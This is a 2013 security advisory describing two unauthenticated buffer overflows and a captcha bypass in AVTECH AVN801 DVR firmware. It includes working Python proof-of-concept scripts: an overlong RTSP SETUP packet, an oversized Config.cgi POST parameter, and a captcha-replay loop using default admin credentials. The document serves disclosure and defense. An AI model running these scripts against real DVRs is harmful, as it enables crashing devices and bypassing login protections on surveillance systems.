AVTECH DVR multiple vulnerabilities


1. *Advisory Information*

Title: AVTECH DVR multiple vulnerabilities
Advisory ID: CORE-2013-0726
Advisory URL:
http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: AVTECH Corporation
Release mode: User release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper
Access Control [CWE-284]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982


3. *Vulnerability Description*

Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and
potentially other devices sharing the affected firmware) that could
allow a remote attacker:

   1. [CVE-2013-4980] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.
   2. [CVE-2013-4981] To execute arbitrary code without authentication
by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a
specially crafted HTTP POST request.
   3. [CVE-2013-4982] To bypass the captcha of the administration login
console enabling several automated attack vectors.


4. *Vulnerable Packages*

   . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003.
   . Older versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

There was no official answer from AVTECH support team after several
attempts (see [Sec. 8]); contact vendor for further information. Some
mitigation actions may be:

   . Do not expose the DVR to internet unless absolutely necessary.
   . Have at least one proxy filtering the 'SETUP' parameter in RTSP
requests.
   . Have at least one proxy filtering the 'Network.SMTP.Receivers'
parameter in HTTP requests to '/cgi-bin/user/Config.cgi'.


6. *Credits*

[CVE-2013-4980] was discovered and researched by Anibal Sacco from Core
Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were
discovered and researched by Facundo Pantaleo from Core Security
Consulting Team.


7. *Technical Description / Proof of Concept Code*


7.1. *Buffer Overflow in RTSP Packet Handler*

[CVE-2013-4980] The following Python script sends a specially crafted
packet that triggers a buffer overrun condition when handling the RTSP
transaction; no authentication is required. As a result, the device
crashes and it could possibly lead to a remote code execution.

/-----
import socket

HOST = '192.168.1.1'
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "SETUP
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS
RTSP/1.0\r\n"
trigger_pkt += "CSeq: 1\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media
v2010.02.10)\r\n\r\n"
print "[*] Sending trigger"
s.sendall(trigger_pkt)
data = s.recv(1024)
print '[*] Response:', repr(data), "\r\n"
s.close()

7.2. *Buffer Overflow in config.cgi Parameters*

[CVE-2013-4981] The following Python script exploits other buffer
overflow condition; no authentication is required. As a result, the
device crashes and it would possible lead to a remote code execution.


/-----
import httplib

ip = "192.168.1.1"
conn = httplib.HTTPConnection(ip)
conn.request("POST",
"/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1")
resp = conn.getresponse()
print resp.read()
-----/


7.3. *CAPTCHA Bypass*

[CVE-2013-4982] The following Python proof of concept sends a wrong
captcha in first place (just to verify that captcha protection is
enabled); then, it sends ten requests with an arbitrary hardcoded
captcha and its matching verification code. As a result, the captcha
protection can by completely bypassed.


/-----
import httplib

ip = "192.168.1.1"
print "Performing captcha replay with hardcoded wrong captcha code and
verify code..."
conn = httplib.HTTPConnection(ip)
conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc
HTTP/1.1")
resp = conn.getresponse()
print "Reading webpage..."
print resp.read()
print "Performing several captcha replays with hardcoded right captcha
code and verify code..."
for i in range(1, 10):
    conn = httplib.HTTPConnection(ip)
    conn.request("GET",
"/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc
HTTP/1.1")
    resp = conn.getresponse()
    print "Reading webpage..."
    print resp.read()
